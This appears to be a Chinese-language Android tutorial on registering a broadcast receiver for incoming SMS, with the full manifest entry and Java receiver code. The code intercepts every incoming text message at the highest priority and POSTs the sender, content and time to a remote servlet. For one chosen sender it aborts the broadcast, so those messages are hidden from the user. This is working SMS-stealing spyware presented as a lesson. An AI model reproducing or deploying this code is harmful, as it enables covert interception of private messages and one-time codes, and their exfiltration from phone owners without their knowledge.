写一个广播接收器有两个步骤,第一步:注册BroadcastReceive;第二步:写一个注册器继承BroadcastReceive,重写onReceive()方法
1.在AndroidMainfest.xml中注册,
<receiver android:name=".SMSReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
加上接收短信的权限
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
2.写一个接收器
package cn.eric.listener.smslistener;
import java.net.HttpURLConnection;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
public class SMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object pdu : pdus){
SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
String sender = message.getOriginatingAddress();//发送者
String content = message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
// 2009-10-10 12:22:33
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String time = dateFormat.format(date);
sendSMS(sender, content, time);
if("5556".equals(sender)){
abortBroadcast();//终止广播
}
}
}
private void sendSMS(String sender, String content, String time) {
String path = "
http://192.168.1.100:8080/web/SMSServlet";
// sender=15050505543&content=xxxx&time=2009-10-12
String data = "sender="+ sender+ "&content="+ content+ "&time="+ time;
byte[] entity = data.getBytes();
try{
HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
conn.setConnectTimeout(5000);
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
conn.getOutputStream().write(entity);
if(conn.getResponseCode() == 200){
;
}
}catch (Exception e) {
e.printStackTrace();
}
}
}
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请
点击举报。